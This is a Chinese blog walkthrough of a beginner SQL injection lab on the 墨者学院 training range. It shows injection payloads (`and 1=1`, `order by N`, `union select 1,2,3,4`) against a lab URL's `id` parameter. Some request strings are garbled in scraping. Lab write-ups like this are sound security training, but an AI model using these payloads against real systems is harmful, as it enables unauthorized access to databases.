墨者学院——入门SQL手工注入

关于SQL注入
SQL注入是一种注入攻击,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器 。
攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录 。
SQL注入漏洞可能会影响使用SQL数据库(如MySQL,,SQL 或其他)的任何网站或Web应用程序 。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等 。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一 。
在墨者学院上做的一道入门基础题
下面为详细步骤
01.寻找注入点
点开在线靶场网址是一个登录界面,此时不知道账号和密码,随意输入一个尝试之后当然显示的是账号或密码错误,于是会选择SQL注入

墨者学院——入门SQL手工注入

文章插图
在登陆界面下方有一条滚动的公告,点开后检查url发现可能存在注入点
墨者学院——入门SQL手工注入

文章插图
url为
http://219.153.49.228:48917/new_list.php?id=1
数据库执行
select * from news where id=1
在我们寻找网页注入点时,要多留意有参数的地方,比如此处的id,说明可以查询id=1的内容来获取页面,也就存在了注入的可能 。
于是在url后面加上and1=1
页面提交:
:48917/.php?id=1 and 1=1
数据库执行
select * from news where id=1 and 1=1
此时因为1=1在数据库中是恒为true的,故页面不会出错
墨者学院——入门SQL手工注入

文章插图
而当我们输入1=2时,因为在数据库中1=2恒为flase,故页面出错
页面提交:
:48917/.php?id=1 and 1=2
数据库执行:
select * from news where id=1 and 1=2
页面:
墨者学院——入门SQL手工注入

文章插图
由此可以确定,公告页为注入点
02判断字段数及内容
找到注入点后可以通过SQL语句中的
order by N
来判断这里有几个字段即数据库有多少列
在数据库中执行的语句为
select * from news where id=1 order by N
在此处从N=1开始尝试
墨者学院——入门SQL手工注入

文章插图

墨者学院——入门SQL手工注入

文章插图
一直到order by 5的时候页面出现了错误,说明数据库一共有四个字段
墨者学院——入门SQL手工注入

文章插图
order by 5时页面为空,说明该页面数据库一共存在四个字段
已经知道数据库有四个字段,接下来就查询这四个字段分别代表的是什么,于是我们就在显示为空界面的时候联合查询1234的位置,采用Union语句进行联合查询
页面提交:
:48917/.php?id=1 and 1=2 union1,2,3,4
数据库执行:
select * from news where id=1 and 1=2 union select 1,2,3,4
页面:
墨者学院——入门SQL手工注入

文章插图
【墨者学院——入门SQL手工注入】在原本标题title位显示为2,内容位显示为3,故这是两个出错的字段,可以利用出错位来进行数据库信息的显示 。